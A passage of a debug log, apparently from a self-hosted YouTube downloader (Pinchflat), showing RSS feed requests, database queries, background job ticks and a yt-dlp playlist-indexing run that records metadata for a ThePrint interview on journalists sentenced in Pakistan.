DESC LIMIT ? [1, 2000] 17:28:23.420 [debug] QUERY OK source="source_metadata" db=0.9ms idle=1196.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:28:23.421 [debug] QUERY OK source="media_metadata" db=0.9ms queue=0.1ms idle=689.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:28:23.422 [info] Sent 200 in 9ms 17:28:28.883 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:58.885 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.444 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:29:28.887 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:58.889 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.446 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:30:28.891 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:57.307 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 17:30:58.893 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.447 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:31:28.896 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:57.316 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 17:31:58.899 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.448 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:32:28.901 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:44.099 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:32:44.099 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:32:44.135 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1911.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:32:44.136 [debug] QUERY OK source="media_items" db=0.7ms queue=0.2ms idle=1913.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:32:44.138 [debug] QUERY OK source="source_metadata" db=0.3ms idle=1915.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:32:44.139 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=1763.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:32:44.150 [info] Sent 200 in 51ms 17:32:58.903 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.450 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:33:03.336 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:33:03.337 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:33:03.338 [debug] QUERY OK source="sources" db=0.6ms idle=1114.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:33:03.339 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1116.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:33:03.341 [debug] QUERY OK source="source_metadata" db=0.6ms queue=0.2ms idle=917.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:33:03.342 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=119.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:33:03.342 [info] Sent 200 in 6ms 17:33:28.905 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:58.907 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.452 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:34:28.910 [info] {"source":"oban","duration":1729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:58.913 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.454 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:35:28.915 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:58.919 [info] {"source":"oban","duration":2897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.457 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:36:28.922 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:58.924 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.458 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:37:28.927 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:29.829 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:37:29.829 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:37:29.831 [debug] QUERY OK source="sources" db=0.7ms queue=0.4ms idle=1504.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:37:29.833 [debug] QUERY OK source="media_items" db=1.4ms queue=0.2ms idle=1505.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:37:29.835 [debug] QUERY OK source="source_metadata" db=0.5ms idle=1508.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:37:29.837 [debug] QUERY OK source="media_metadata" db=0.9ms queue=0.1ms idle=908.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:37:29.837 [info] Sent 200 in 8ms 17:37:58.929 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.460 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:38:20.251 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:38:20.252 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:38:20.254 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1926.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:38:20.256 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=1928.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:38:20.258 [debug] QUERY OK source="source_metadata" db=0.6ms idle=983.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:38:20.259 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=932.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:38:20.261 [info] Sent 200 in 9ms 17:38:24.384 [info] {"args":{"id":1},"id":89,"meta":{},"system_time":1768066704383294614,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 17:38:24.387 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1059.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:38:24.389 [debug] QUERY OK source="settings" db=1.1ms queue=0.2ms idle=1061.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:38:24.393 [debug] QUERY OK source="media_items" db=1.9ms queue=0.3ms idle=1064.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:38:24.395 [debug] QUERY OK source="media_items" db=1.2ms queue=0.2ms idle=31.6ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 17:38:24.396 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=13.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:38:24.399 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=11.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:38:24.461 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 17:38:24.463 [debug] Current batch of media processed. Will check again in 1000ms 17:38:24.464 [debug] QUERY OK source="settings" db=1.8ms queue=0.7ms idle=72.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:38:24.466 [debug] QUERY OK source="settings" db=1.8ms queue=0.1ms idle=71.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:38:24.468 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=71.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:38:24.471 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ef/d2/efd298df39f78ebfffa59ef400679cd73f9e0b447a85f806f44b6dc71f6c4c71.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:38:25.464 [debug] Current batch of media processed. Will check again in 1000ms 17:38:26.467 [debug] Current batch of media processed. Will check again in 1000ms 17:38:27.469 [debug] Current batch of media processed. Will check again in 1000ms 17:38:28.470 [debug] Current batch of media processed. Will check again in 1000ms 17:38:28.931 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:29.472 [debug] Current batch of media processed. Will check again in 1000ms 17:38:30.476 [debug] Current batch of media processed. Will check again in 1000ms 17:38:31.478 [debug] Current batch of media processed. Will check again in 1000ms 17:38:32.479 [debug] Current batch of media processed. Will check again in 1000ms 17:38:33.481 [debug] Current batch of media processed. Will check again in 1000ms 17:38:34.542 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 17:38:34.546 [debug] QUERY OK source="sources" db=0.9ms queue=0.4ms idle=218.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:38:34.590 [debug] QUERY OK source="sources" db=41.8ms queue=0.2ms idle=221.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:38:34.591 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=264.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 17:38:34.694 [debug] QUERY OK source="media_items" db=99.4ms queue=0.1ms idle=267.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "d0b7951b-3b44-4e6b-ba18-acc2c2c73ad0", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 17:38:34Z], ~U[2026-01-10 17:38:34Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 17:38:34.698 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=292.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:38:34.738 [debug] QUERY OK source="media_profiles" db=38.8ms queue=0.1ms idle=152.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:38:34.740 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=148.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour 